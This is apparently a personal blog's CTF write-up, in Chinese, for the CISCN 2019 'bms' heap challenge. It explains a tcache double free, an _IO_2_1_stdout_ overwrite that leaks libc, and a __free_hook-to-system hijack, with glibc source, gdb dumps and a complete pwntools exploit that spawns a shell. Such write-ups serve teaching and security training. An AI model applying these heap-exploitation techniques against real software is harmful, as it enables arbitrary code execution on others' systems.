ZoE

个人站

Pwn的挖坑填坑之旅


csicn2019国赛pwn --- bms

csicn2019国赛pwn — bms

这题居然是tcache,一堆2.23的libc之后,来了个2.26。好吧,之前有做过这种结构体放在heap上的题,也是tcache,一时没反应过来,之后还得去补补tcache的题啊。。

利用思路:这道题的主要漏洞在于利用tcache机制并且free后没有清零造成double free可以实现任意地址写的操作,主要难点在于泄露libc。远端环境是libc2.26,可以使用tcache攻击,利用double free把chunk分配在stdout附近,使tcache bin指向_IO_2_1_stdout_。修改结构体泄露libc,再次使用tcache攻击分配chunk到__free_hook,劫持为one_gadget,调用free获得shell。

难点:tcache机制,利用IO_FILE泄露libc

前置知识

  • IO_FILE相关源码:https://code.woboq.org/userspace/glibc/libio/fileops.c.html
  • IO_FILE学习记录:https://zoepla.github.io/2019/04/pwn%E4%B8%AD%E7%9A%84IO_FILE%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E6%B7%B1%E5%85%A5/
  • tcache 源码分析及利用思路(推荐阅读):http://p4nda.top/2018/03/20/tcache/
  • http://tukan.farm/2017/07/08/tcache/
  • http://ftp.gnu.org/gnu/glibc/
  • http://m4x.fun/post/dive-into-tcache/

tcache学习

  • tcache指针指向的是user_data而不是heap_header
  • 在上面p4nda写的tcache学习中,利用方式的house_of_spirit提到当tcache存在时,释放堆块没有对堆块的前后堆块进行合法性校验,只需要构造本块对齐就可以成功将任意构造的堆块释放到tcache中,而在申请时,tcache对内部大小合适的堆块也是直接分配的,并且对于在tcache内任意大小的堆块管理方式是一样的,导致常见的house_of_spirit可以延伸到smallbin。正是如此本题可以利用double free(tcache链表劫持)再分配来进行任意地址写。

调试过程:

首先通过double free来劫持tcache链表:

(0x90)   tcache_entry[7](1): 0x97c4c0 --> 0x602020 --> 0x7fbd97271760 --> 0xfbad2887 (invaild memory)

然后当分配到0x602020地方的时候需要修改一个合适的值,我尝试过修改\x20或者\x10都是没问题的,重点在后面修改0x7fbd97271760 的stdout结构体时候的问题,关于为什么这样构造,为什么这样构造就可以泄露出里libc了,后面再说。 对应脚本如下:

create(0x80,'aaaa\n','aaaa\n')#0
free(0)
free(0)
create(0x80,p64(0x602020)*2 + "\n","aaaa\n")#1
create(0x80,"\n","aaaa\n")#2

pause()
log.info("hjack stdout struct")
fake_stdout = p64(0xfbad1800) + p64(0)*3 + "\x00" 
create(0x80,"\x20","aaaa\n")#3 
create_null_puts(0x80,fake_stdout,"aaaa\n")#4

其中上面对同一个chunk进行了多次free的原因在于tcache_put() 的不严谨;

tcache_put()的源码:

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

可以看出,tcache_put() 的检查也可以忽略不计(甚至没有对 tcache->counts[tc_idx] 的检查),大幅提高性能的同时安全性也下降了很多。 因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list。 关于例子,可以查看how2heap 的 tcache_dup 进行学习。

下面是打印IO_FILE的结构体的一些信息

# 低位覆盖后的结果,
gdb-peda$ p *(struct _IO_FILE_plus *)0x00007ffff7bb1720
$1 = {
  file = {
    _flags = 0xf7bb0780, 
    _IO_read_ptr = 0x0, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x0, 
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x0, 
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x7ffff7bad2a0 <_IO_file_jumps> "", 
    _IO_buf_end = 0xfbad2887 <error: Cannot access memory at address 0xfbad2887>, 
    _IO_save_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_backup_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_save_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _markers = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131>, 
    _chain = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131>, 
    _fileno = 0xf7bb17e3, 
    _flags2 = 0x7fff, 
    _old_offset = 0x7ffff7bb17e3, 
    _cur_column = 0x17e4, 
    _vtable_offset = 0xbb, 
    _shortbuf = <incomplete sequence \367>, 
    _lock = 0x0, 
    _offset = 0x0, 
    _codecvt = 0x0, 
    _wide_data = 0x0, 
    _freeres_list = 0x7ffff7bb0a00 <_IO_2_1_stdin_>, 
    _freeres_buf = 0x1, 
    __pad5 = 0xffffffffffffffff, 
    _mode = 0xa000000, 
    _unused2 = "\000\000\000\000\300(\273\367\377\177\000\000\377\377\377\377\377\377\377\377"
  }, 
  vtable = 0x0
}
# stdout被修改前
gdb-peda$ p *(struct _IO_FILE_plus *)0x00007ffff7bb1760
$2 = {
  file = {
    _flags = 0xfbad2887, 
    _IO_read_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_end = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7bb0a00 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "\n", 
    _lock = 0x7ffff7bb28c0 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7bb08c0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7bad2a0 <_IO_file_jumps>
}
# stdout被修改后
gdb-peda$ p *(struct _IO_FILE_plus *)0x7fbd97271760
$2 = {
  file = {
    _flags = 0xfbad1800, 
    _IO_read_ptr = 0x0, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x0, 
    _IO_write_base = 0x7fbd97271700 <_IO_2_1_stderr_+128> "", 
    _IO_write_ptr = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_end = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_base = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_end = 0x7fbd972717e4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7fbd97270a00 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "\n", 
    _lock = 0x7fbd972728c0 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7fbd972708c0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7fbd9726d2a0 <_IO_file_jumps>
}

再次利用double free修改__free_hook为one_adget即可。

create_null_puts(0x30,'aaaa\n','aaaa\n')#5
free_null_puts(5)  
free_null_puts(5)
create_null_puts(0x30,p64(free_hook)*2 + "\n","aaaa\n")#6
create_null_puts(0x30,"\n","aaaa\n")#7
create_null_puts(0x30,p64(system),"aaaa\n")#8     overwrite free_hook --> system
create_null_puts(0x10,"/bin/sh\x00","aaaa\n")#9   getshell
free_null_puts(9)

利用IO_FILE泄露libc

  • 参考链接:https://zszcr.github.io/2019/03/18/2019-3-18-tcache%E4%B8%8B%E7%9A%84%E5%87%A0%E9%81%93pwn%E9%A2%98/
  • 源码:https://code.woboq.org/userspace/glibc/libio/fileops.c.html#_IO_new_do_write

泄露libc的涉及到了IO_FILE的利用,通过修改 puts函数工作过程中stdout 结构体中的 _IO_write_base ,来达到泄露libc地址信息的目的。下面来讲一下其中的一些原理。 关于puts函数的调用链(后面也有给出调试过程中看到的调用):puts函数在源码中是由 _IO_puts实现的,而 _IO_puts 函数内部会调用 _IO_sputn,结果会执行 _IO_new_file_xsputn,最终会执行 _IO_overflow。主要的目标我觉得是在_IO_new_file_overflow 里面。

_IO_puts源码:

int
_IO_puts (const char *str)
{
  int result = EOF;
  _IO_size_t len = strlen (str);
  _IO_acquire_lock (_IO_stdout);

  if ((_IO_vtable_offset (_IO_stdout) != 0
       || _IO_fwide (_IO_stdout, -1) == -1)
      && _IO_sputn (_IO_stdout, str, len) == len
      && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (_IO_stdout);
  return result;
}

_IO_new_file_overflow函数源码:

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    ......
    ......
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
			 f->_IO_write_ptr - f->_IO_write_base); //目标,注意看第三个参数size的计算
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)
      || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
		      f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}

可以发现_IO_do_write是最后调用的函数, 而 _IO_write_base 是我们要修改的目标。这里f-> _flags & _IO_NO_WRITES的值应该是0,同时使 f-> _flags & _IO_CURRENTLY_PUTTING 的值为1,避免执行不必要的代码同时让他正确return到相应位置。

_IO_do_write函数的参数为stdout结构体、 _IO_write_base 和要打印的size。而 _IO_do_write实际会调用 new_do_write,参数一样。

泄露思路重点: 而我们的size是通过f->_IO_write_ptr - f->_IO_write_base,通过调试仔细查看没有修改stdout结构体前可以发现f->_IO_write_ptr - f->_IO_write_base = 0的,也就是说正常调用_IO_do_write是不会打印东西的,也就是不会从_IO_write_base 开始打印东西,但是一旦我们修改了f->_IO_write_base,这样一来size就会不等于0,而打印出f->_IO_write_base上面的东西,所以造成的泄露libc。

这道题同时也因为修改了bss段上stdout的结构体位置,造成printf无法调用,无法打印malloc和free操作的信息(个人想法,因为覆盖0x602020上值的低位之后就不能用printf了,理解有错的话希望大佬可以告诉我)。

new_do_write 源码:

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
	= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
	return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);	//最终输出
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
		       && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
		       ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

其中_IO_SYSWRITE 就是我们的目标,这相当于 write(fp , data, to_do) _IO_SYSSEEK只是简单的调用lseek,但是我们不能完全控制fp-> _IO_write_base - fp-> _IO_read_end 的值。如果 fp-> _IO_read_end的值设为0,那么 _IO_SYSSEEK的第二个参数的值就会过大。如果设置fp-> _IO_write_base = fp-> _IO_read_end 的话,那么在其他地方就会有问题,因为fp-> _IO_write_base 不能大于fp-> _IO_write_end 。所以这里要 设置fp- _flags | _IO_IS_APPENDING,避免进入else if分支中。因此我们需要让IO_FILE的flags满足一些条件才能正确的执行到相应位置达成利用:

IO_FILE 的flags标志的一些宏

#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

_flags=_IO_MAGIC+_IO_CURRENTLY_PUTTING+_IO_IS_APPENDING+(_IO_LINKED)

_flags=0xfbad1800 or 0xfbad1880 或者再加一些其他不影响leak的_flags

_flag的构造满足的条件:

_flags = 0xfbad0000  
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

详细的跟进调试过程: 跟进puts内发现,_IO_puts ->_IO_new_file_xsputn->_IO_new_file_overflow->_IO_do_write ->_IO_new_file_write

调试 begin…..

   0x7ffff7845b4c <_IO_puts+396>:	jmp    0x7ffff7845a85 <_IO_puts+197>
   0x7ffff7845b51 <_IO_puts+401>:	nop    DWORD PTR [rax+0x0]
   0x7ffff7845b58 <_IO_puts+408>:	mov    esi,0xa
=> 0x7ffff7845b5d <_IO_puts+413>:	call   0x7ffff7852e90 <__GI___overflow>
   0x7ffff7845b62 <_IO_puts+418>:	cmp    eax,0xffffffff
   0x7ffff7845b65 <_IO_puts+421>:	jne    0x7ffff7845ab8 <_IO_puts+248>
   0x7ffff7845b6b <_IO_puts+427>:	jmp    0x7ffff7845b31 <_IO_puts+369>
   0x7ffff7845b6d <_IO_puts+429>:	test   DWORD PTR [rbp+0x0],0x8000
Guessed arguments:
arg[0]: 0x7ffff7bb1760 --> 0xfbad2887 
arg[1]: 0xa ('\n')
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
   0x7ffff7845a7f <_IO_puts+191>:	jbe    0x7ffff7845b40 <_IO_puts+384>
   0x7ffff7845a85 <_IO_puts+197>:	mov    rdx,rbx
   0x7ffff7845a88 <_IO_puts+200>:	mov    rsi,r12
=> 0x7ffff7845a8b <_IO_puts+203>:	call   QWORD PTR [r13+0x38]
   0x7ffff7845a8f <_IO_puts+207>:	cmp    rbx,rax
   0x7ffff7845a92 <_IO_puts+210>:	jne    0x7ffff7845b31 <_IO_puts+369>
   0x7ffff7845a98 <_IO_puts+216>:	mov    rdi,QWORD PTR [rip+0x36bda9]        # 0x7ffff7bb1848 <stdout>
   0x7ffff7845a9f <_IO_puts+223>:	mov    rax,QWORD PTR [rdi+0x28]
Guessed arguments:
arg[0]: 0x7ffff7bb1760 --> 0xfbad1800 
arg[1]: 0x4014fc --> 0x6e690021656e6f64 ('done!')
arg[2]: 0x5 
arg[3]: 0xb40 ('@\x0b')
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
   0x7ffff78509dc <_IO_new_file_xsputn+172>:	jbe    0x7ffff7850bc0 <_IO_new_file_xsputn+656>
   0x7ffff78509e2 <_IO_new_file_xsputn+178>:	mov    esi,0xffffffff
   0x7ffff78509e7 <_IO_new_file_xsputn+183>:	mov    rdi,rbx
=> 0x7ffff78509ea <_IO_new_file_xsputn+186>:	call   QWORD PTR [rax+0x18]
   0x7ffff78509ed <_IO_new_file_xsputn+189>:	cmp    eax,0xffffffff
   0x7ffff78509f0 <_IO_new_file_xsputn+192>:	je     0x7ffff7850a90 <_IO_new_file_xsputn+352>
   0x7ffff78509f6 <_IO_new_file_xsputn+198>:	mov    rcx,QWORD PTR [rbx+0x40]
   0x7ffff78509fa <_IO_new_file_xsputn+202>:	sub    rcx,QWORD PTR [rbx+0x38]
Guessed arguments:
arg[0]: 0x7ffff7bb1760 --> 0xfbad1800 
arg[1]: 0xffffffff 
arg[2]: 0xb40 ('@\x0b')
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
   0x7ffff78523e2 <_IO_new_file_overflow+226>:	pop    rbx
   0x7ffff78523e3 <_IO_new_file_overflow+227>:	pop    rbp
   0x7ffff78523e4 <_IO_new_file_overflow+228>:	pop    r12
=> 0x7ffff78523e6 <_IO_new_file_overflow+230>:	jmp    0x7ffff7851ea0 <_IO_new_do_write>
 | 0x7ffff78523eb <_IO_new_file_overflow+235>:	nop    DWORD PTR [rax+rax*1+0x0]
 | 0x7ffff78523f0 <_IO_new_file_overflow+240>:	mov    rsi,QWORD PTR [rbx+0x20]
 | 0x7ffff78523f4 <_IO_new_file_overflow+244>:	mov    rdx,QWORD PTR [rbx+0x28]
 | 0x7ffff78523f8 <_IO_new_file_overflow+248>:	mov    rdi,rbx
 |->   0x7ffff7851ea0 <_IO_new_do_write>:	xor    eax,eax
       0x7ffff7851ea2 <_IO_new_do_write+2>:	test   rdx,rdx
       0x7ffff7851ea5 <_IO_new_do_write+5>:	jne    0x7ffff7851eb0 <_IO_new_do_write+16>
       0x7ffff7851ea7 <_IO_new_do_write+7>:	repz ret
                                                                  JUMP is taken
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
   0x7ffff7851f44 <_IO_new_do_write+164>:	mov    rdx,r12
   0x7ffff7851f47 <_IO_new_do_write+167>:	mov    rsi,r13
   0x7ffff7851f4a <_IO_new_do_write+170>:	mov    rdi,rbx
=> 0x7ffff7851f4d <_IO_new_do_write+173>:	call   QWORD PTR [r14+0x78]
   0x7ffff7851f51 <_IO_new_do_write+177>:	mov    rbp,rax
   0x7ffff7851f54 <_IO_new_do_write+180>:	movzx  eax,WORD PTR [rbx+0x80]
   0x7ffff7851f5b <_IO_new_do_write+187>:	test   rbp,rbp
   0x7ffff7851f5e <_IO_new_do_write+190>:	je     0x7ffff7851f65 <_IO_new_do_write+197>
Guessed arguments:
arg[0]: 0x7ffff7bb1760 --> 0xfbad1800 
arg[1]: 0x7ffff7bb1700 --> 0x0 
arg[2]: 0xe3 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[----------------------------------registers-----------------------------------]
RAX: 0xb40 ('@\x0b')
RBX: 0xe3 
RCX: 0xfbad1800 
RDX: 0xe3 
RSI: 0x7ffff7bb1700 --> 0x0 
RDI: 0x1 
RBP: 0x7ffff7bb1700 --> 0x0 
RSP: 0x7fffffffde10 --> 0x7fffffffdf20 --> 0x7fffffffdf40 --> 0x401370 (push   r15)
RIP: 0x7ffff78501b8 (<_IO_new_file_write+40>:	call   0x7ffff78d5140 <__GI___libc_write>)
R8 : 0x7ffff7fdd740 (0x00007ffff7fdd740)
R9 : 0x0 
R10: 0x7ffff7963cc0 --> 0x2000200020002 
R11: 0x246 
R12: 0x7ffff7bb1760 --> 0xfbad1800 
R13: 0xe3 
R14: 0x7ffff7bad2a0 --> 0x0 
R15: 0x7ffff7bac760 --> 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff78501ac <_IO_new_file_write+28>:	mov    rbx,rdx
   0x7ffff78501af <_IO_new_file_write+31>:	jmp    0x7ffff78501cd <_IO_new_file_write+61>
   0x7ffff78501b1 <_IO_new_file_write+33>:	nop    DWORD PTR [rax+0x0]
=> 0x7ffff78501b8 <_IO_new_file_write+40>:	call   0x7ffff78d5140 <__GI___libc_write>
   0x7ffff78501bd <_IO_new_file_write+45>:	test   rax,rax
   0x7ffff78501c0 <_IO_new_file_write+48>:	js     0x7ffff78501f0 <_IO_new_file_write+96>
   0x7ffff78501c2 <_IO_new_file_write+50>:	sub    rbx,rax
   0x7ffff78501c5 <_IO_new_file_write+53>:	add    rbp,rax
No argument

调试 end…… 调试的时候发现:调用完一次puts泄露出libc之后会对_IO_read_ptr 等进行修正,但不会对_flags 进行修正

# stdout被修改前
gdb-peda$ p *(struct _IO_FILE_plus *)0x00007ffff7bb1760
$2 = {
  file = {
    _flags = 0xfbad2887, 
    _IO_read_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_end = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7bb0a00 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "\n", 
    _lock = 0x7ffff7bb28c0 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7bb08c0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7bad2a0 <_IO_file_jumps>
}
# stdout被修改后
gdb-peda$ p *(struct _IO_FILE_plus *)0x7fbd97271760
$2 = {
  file = {
    _flags = 0xfbad1800, 
    _IO_read_ptr = 0x0, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x0, 
    _IO_write_base = 0x7fbd97271700 <_IO_2_1_stderr_+128> "", 
    _IO_write_ptr = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_end = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_base = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_end = 0x7fbd972717e4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7fbd97270a00 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "\n", 
    _lock = 0x7fbd972728c0 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7fbd972708c0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7fbd9726d2a0 <_IO_file_jumps>
}
# 调用完一次puts后已经完成修正
gdb-peda$ p *(struct _IO_FILE_plus *)0x00007ffff7bb1760
$54 = {
  file = {
    _flags = 0xfbad1800, 
    _IO_read_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_ptr = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "", 
    _IO_write_end = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "", 
    _IO_buf_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_end = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7bb0a00 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "\n", 
    _lock = 0x7ffff7bb28c0 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7bb08c0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7bad2a0 <_IO_file_jumps>
}

环境:ubuntu18.04 libc2.27 完整exp:

from pwn import *

context(os='linux',arch='amd64',aslr = 'False',log_level='debug')


#p = remote("90b826377a05d5e9508314e76f2f1e4e.kr-lab.com","40001")
p = process("./pwn")
elf = ELF('./pwn')
libc = elf.libc

def create(size,content,name):
    p.sendlineafter(">","1")
    p.sendafter("book name:",name)
    p.sendlineafter("description size:",str(size))
    p.sendafter("description:",content)

def create_null_puts(size,content,name):
    p.sendlineafter(">","1")
    p.send(name)
    sleep(0.01)
    p.sendline(str(size))
    sleep(0.01)
    p.send(content)
    sleep(0.01)
    
def free(idx):
    p.sendlineafter(">","2")
    p.sendlineafter("index:",str(idx))

def free_null_puts(idx):
    p.sendlineafter(">","2")
    p.sendline(str(idx))
    
def edit(idx,content):
    p.sendlineafter(">","3")
    p.sendlineafter("index:",str(idx))
    p.sendafter("create description:",content)

'''
0x602060
b *0x00401207
b *0x0040129b

'''
p.sendlineafter("username:","admin")
p.sendlineafter("password:","frame")

create(0x80,'aaaa\n','aaaa\n')#0
free(0)
free(0)
pause()
create(0x80,p64(0x602020)*2 + "\n","aaaa\n")#1
create(0x80,"\n","aaaa\n")#2

log.info("hjack stdout struct")
fake_stdout = p64(0xfbad1800) + p64(0)*3 + "\x00" 
create(0x80,"\x20","aaaa\n")#3 
create_null_puts(0x80,fake_stdout,"aaaa\n")#4

# when call next puts will leak the libc
leak = p.recvuntil("done!",drop = True)
#print("leak = " + str(leak))
leak = leak[0x9:]
leak_add = u64(leak[:6].ljust(8,'\x00'))
libc_base = leak_add - 0x3ed8b0 # 2.27 # 0x3D73E0
libc.address = libc_base
system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']
success("leak_add = " + hex(leak_add))
success("libc_base = " + hex(libc_base))
success("system = " + hex(system))
success("free_hook = " + hex(free_hook))


create_null_puts(0x30,'aaaa\n','aaaa\n')#5
free_null_puts(5)  
free_null_puts(5)
create_null_puts(0x30,p64(free_hook)*2 + "\n","aaaa\n")#6
create_null_puts(0x30,"\n","aaaa\n")#7
create_null_puts(0x30,p64(system),"aaaa\n")#8     overwrite free_hook --> system
create_null_puts(0x10,"/bin/sh\x00","aaaa\n")#9   getshell
free_null_puts(9)

p.interactive()

打赏一个呗

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦